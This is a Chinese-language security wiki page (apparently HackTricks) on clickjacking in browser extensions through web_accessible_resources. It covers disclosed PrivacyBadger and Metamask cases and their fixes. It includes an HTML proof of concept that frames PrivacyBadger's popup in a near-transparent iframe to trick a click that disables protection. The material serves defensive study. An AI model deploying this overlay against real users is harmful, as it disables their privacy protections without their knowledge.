BrowExt - ClickJacking
Reading time: 6 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
本页面将利用浏览器扩展中的ClickJacking漏洞。
如果你不知道ClickJacking是什么,请查看:
扩展包含文件**manifest.json
**,该JSON文件有一个字段web_accessible_resources
。以下是Chrome文档中对此的说明:
这些资源将通过URL
chrome-extension://[PACKAGE ID]/[PATH]
在网页中可用,该URL可以通过**extension.getURL method
**生成。允许的资源会带有适当的CORS头,因此可以通过XHR等机制访问。1
浏览器扩展中的**web_accessible_resources
**不仅可以通过网络访问;它们还具有扩展的固有权限。这意味着它们能够:
- 更改扩展的状态
- 加载额外的资源
- 在一定程度上与浏览器交互
然而,这一特性带来了安全风险。如果**web_accessible_resources
**中的某个资源具有任何重要功能,攻击者可能会将该资源嵌入到外部网页中。毫无防备的用户访问此页面时,可能会无意中激活此嵌入的资源。这种激活可能导致意想不到的后果,具体取决于扩展资源的权限和能力。
PrivacyBadger 示例
在扩展PrivacyBadger中,发现了一个与skin/
目录被声明为web_accessible_resources
相关的漏洞,具体如下(查看原始博客文章):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
此配置导致了潜在的安全问题。具体来说,skin/popup.html
文件在与浏览器中的 PrivacyBadger 图标交互时被渲染,可以嵌入在 iframe
中。这种嵌入可能被利用来欺骗用户无意中点击“为此网站禁用 PrivacyBadger”。这样的行为将通过禁用 PrivacyBadger 保护来危害用户的隐私,并可能使用户面临更高的跟踪风险。此漏洞的视觉演示可以在提供的 ClickJacking 视频示例中查看,链接为 https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm。
为了解决此漏洞,实施了一个简单的解决方案:从 web_accessible_resources
列表中移除 /skin/*
。此更改有效地降低了风险,确保 skin/
目录的内容无法通过网络可访问资源进行访问或操作。
修复很简单:从 web_accessible_resources
中移除 /skin/*
。
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamask 示例
一个关于 Metamask 中 ClickJacking 的博客文章可以在这里找到。在这种情况下,Metamask 通过检查访问所使用的协议是否为 https:
或 http:
(例如不是 chrome:
)来修复该漏洞:
另一个在 Metamask 扩展中修复的 ClickJacking 是用户能够在页面被怀疑为钓鱼时 点击以列入白名单,因为 “web_accessible_resources”: [“inpage.js”, “phishing.html”]
。由于该页面易受 Clickjacking 攻击,攻击者可以利用它显示一些正常内容,使受害者在未注意的情况下点击以列入白名单,然后再返回到将被列入白名单的钓鱼页面。
Steam Inventory Helper 示例
查看以下页面以检查如何将浏览器扩展中的 XSS 与 ClickJacking 漏洞链式结合:
参考文献
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。